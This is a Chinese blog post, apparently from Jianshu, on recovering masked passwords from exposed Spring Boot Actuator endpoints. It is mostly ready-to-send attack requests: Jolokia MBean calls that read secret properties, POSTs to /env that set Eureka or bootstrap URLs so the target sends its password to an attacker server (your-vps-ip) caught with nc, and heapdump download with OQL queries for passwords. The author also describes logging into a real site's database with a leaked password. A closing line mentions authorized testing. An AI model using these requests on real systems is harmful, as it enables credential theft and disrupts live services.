获取spring boot脱敏属性明文

前言

之前对spring boot的敏感信息泄露和rce漏洞进行了整理复现。
https://www.jianshu.com/p/8c18f1e05c94
前段时间看到师傅们通过获取env端点脱敏的数据库密码成功getshell,自己也动手尝试下。

spring boot 获取env端点脱敏数据

当访问 /env 接口时,spring actuator 会将一些带有敏感关键词(如 password、secret、key等)的属性名对应的属性值用 * 号替换达到脱敏的效果。
如果对属性名的命名不规范,则会导致敏感信息直接明文显示出来。
如下为实战中遇到的一个网站。
数据库密码属性明文不规范,password命名为了passwd,导致密码直接明文显示出来。



数据库地址为外网地址,直接登录,成功获取到了数据库权限。


正常情况下spring actuator会使用*号进行脱敏处理。



GET 请求目标网站的 /env 或 /actuator/env 接口,搜索 ******关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名,尝试进行脱敏处理,获取明文。

方法一

利用条件:

1、目标网站存在 /jolokia 或 /actuator/jolokia 接口
2、目标使用了 jolokia-core 依赖(版本要求暂未知)

利用过程:

jolokia 调用相关 Mbean 获取明文
调用 org.springframework.boot Mbean

实际调用的是 org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar 类实例的 getProperty 方法

spring 1.x

POST /jolokia
Content-Type: application/json

{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

spring 2.x

POST /actuator/jolokia
Content-Type: application/json

{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

调用 org.springframework.cloud.context.environment Mbean(需要 spring cloud 相关依赖)

实际上是调用 org.springframework.cloud.context.environment.EnvironmentManager 类实例的 getProperty 方法

spring 1.x

POST /jolokia
Content-Type: application/json

{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

spring 2.x

POST /actuator/jolokia
Content-Type: application/json

{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

方法二

利用条件

1、可以 GET 请求目标网站的 /env
2、可以 POST 请求目标网站的 /env
3、可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
4、目标使用了 spring-cloud-starter-netflix-eureka-client 依赖
5、目标可出网

利用过程

使用 nc 监听 HTTP 请求
1、在自己控制的外网服务器上监听 80 端口:

nc -lvk 80

2、设置 eureka.client.serviceUrl.defaultZone 属性
修改security.user.password为想要读取的密文。



spring 1.x

POST /env
Content-Type: application/x-www-form-urlencoded

eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip

spring 2.x

POST /actuator/env
Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}

3、访问/refresh端点刷新配置


spring 1.x

POST /refresh
Content-Type: application/x-www-form-urlencoded

spring 2.x

POST /actuator/refresh
Content-Type: application/json

4、 解码属性值

正常的话,此时 nc 监听的服务器会收到目标发来的请求,其中包含类似如下 Authorization 头内容:

Authorization: Basic dmFsdWU6MTIzNDU2

使用base64解码得到明文。


方法三

利用条件:

1、通过 POST /env 设置属性触发目标对外网指定地址发起任意 http 请求
2、请求可出外网

利用过程:

参考 UUUUnotfound 提出的 issue-1,可以在目标发外部 http 请求的过程中,在 url path 中利用占位符带出数据

1、找到想要获取的属性名

GET 请求目标网站的 /env 或 /actuator/env 接口,搜索 ****** 关键词,确定其对应的属性名。

2、 使用 nc 监听 HTTP 请求

在自己控制的外网服务器上监听 80 端口:

nc -lvk 80

3、触发对外 http 请求

spring.cloud.bootstrap.location 方法(同时适用于明文数据中有特殊 url 字符的情况):

spring 1.x

POST /env
Content-Type: application/x-www-form-urlencoded

spring.cloud.bootstrap.location=http://your-vps-ip/?=${security.user.password}

spring 2.x

POST /actuator/env
Content-Type: application/json

{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"}

eureka.client.serviceUrl.defaultZone 方法(不适用于明文数据中有特殊 url 字符的情况):


spring 1.x

POST /env
Content-Type: application/x-www-form-urlencoded

eureka.client.serviceUrl.defaultZone=http://your-vps-ip/${security.user.password}
spring 2.x

POST /actuator/env
Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}

4、刷新配置



spring 1.x

POST /refresh
Content-Type: application/x-www-form-urlencoded

spring 2.x

POST /actuator/refresh
Content-Type: application/json

vps成功接收到密码。


方法四

利用条件

1、目标不出网,且/jolokia 接口没有合适的 MBean 或者不支持 POST 请求
2、目标存在/heapdump 或 /actuator/heapdump端点

利用过程

1、首先找到想要获取的属性名



2、下载 jvm heap 信息
访问/heapdump 或 /actuator/heapdump端点,下载应用实时的 JVM 堆信息。



spring boot 1.x版本下载的heapdump文件包含了时间以及后缀,在spring boot 2.x版本,需要把下载到的heapdump文件修改为hprof后缀。

3、使用 Eclipse Memory Analyzer 获得 jvm heap 中的密码明文
下载地址:https://www.eclipse.org/mat/downloads.php
运行Eclipse Memory Analyzer,把文件导入进去,点击OQL输入执行的查询语句,点击感叹号执行语句。

select * from org.springframework.web.context.support.StandardServletEnvironment

查找想要查看的密码属性,理论来说spring boot 1.x版本redis密码存在java.util.Hashtable$Entry实例的键值对中,2.x版本存储在java.util.LinkedHashMap$Entry实例的键值对中,实际情况中,无论1.x和2.x版本这2个实例都有可能存储密码属性,也可能存储在一些其它实例中,需要自行查找。

搜索存储在java.util.LinkedHashMap$Entry实例的密码属性。

select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))


搜索存储在java.util.Hashtable$Entry实例的密码属性。

select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))

注意事项

POST访问env端点修改属性,会破坏原有属性,影响网站系统正常使用。请在取得授权后进行测试,并且记录原有属性值,测试完成后及时修改回去,防止不必要的麻烦。

参考链接

https://zhuanlan.zhihu.com/p/147251883
https://github.com/LandGrey/SpringBootVulExploit

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 159,015评论 4 362
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,262评论 1 292
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,727评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,986评论 0 205
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,363评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,610评论 1 219
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,871评论 2 312
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,582评论 0 198
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,297评论 1 242
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,551评论 2 246
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,053评论 1 260
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,385评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,035评论 3 236
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,079评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,841评论 0 195
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,648评论 2 274
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,550评论 2 270

推荐阅读更多精彩内容